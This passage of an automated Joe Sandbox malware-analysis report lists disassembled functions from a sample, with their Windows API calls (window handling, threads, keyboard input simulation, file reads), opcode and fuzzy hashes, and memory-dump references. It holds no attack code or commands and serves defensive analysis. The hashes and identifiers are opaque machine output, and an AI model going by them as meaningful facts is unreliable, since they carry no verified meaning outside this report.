                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3087257052-2594219639
                                                                                                                                                  • Opcode ID: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                                                                                                  • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                                                                  • Opcode Fuzzy Hash: 453d8cf2d53bd446159bbb0baa073021fe1e74c256db72c881888fb31e2a567b
                                                                                                                                                  • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                                                                  Function 00455449 Relevance: 10.6, APIs: 7, Instructions: 75windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 00455451
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3985565216-0
                                                                                                                                                  • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                  • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                                                                                                                                                  • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                  • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                                                                                                                                                  Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                  • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                  • __getptd.LIBCMT ref: 00415750
                                                                                                                                                  • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                  • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                                                                  • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                    • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                    • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1269668773-0
                                                                                                                                                  • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                  • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                  • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                  • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                  Function 0046FCC6 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                  • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                                                                  • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$DestroyIcon
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3419509030-2594219639
                                                                                                                                                  • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                  • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                                                                  • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                  • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                                                                  Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                    • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                  • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                  • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1957940570-0
                                                                                                                                                  • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                  • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                  • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                  • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                  Function 00455505 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1489400265-2594219639
                                                                                                                                                  • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                  • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                                                                  • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                  • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                                                                  Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                    • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                    • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                    • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                  • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                    • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                  • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                    • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                  • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                  • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4166825349-0
                                                                                                                                                  • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                  • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                  • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                  • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                  Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                  • API String ID: 2574300362-3261711971
                                                                                                                                                  • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                  • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                  • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                  • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                  Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                  • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                  • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3220332590-0
                                                                                                                                                  • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                  • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                  • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                  • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                  Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1612042205-0
                                                                                                                                                  • Opcode ID: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                  • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                  • Opcode Fuzzy Hash: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                  • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                  Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                  • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                  • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                  • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                  • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                  • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2221674350-0
                                                                                                                                                  • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                  • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                  • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                  • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                  Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscpy$_wcscat
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2037614760-0
                                                                                                                                                  • Opcode ID: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                  • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                                                                  • Opcode Fuzzy Hash: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                  • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                  Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                  • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                  • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                  • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4189319755-0
                                                                                                                                                  • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                  • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                  • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                  • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                  Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                                                                  • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                                                                  • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                                                                  • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
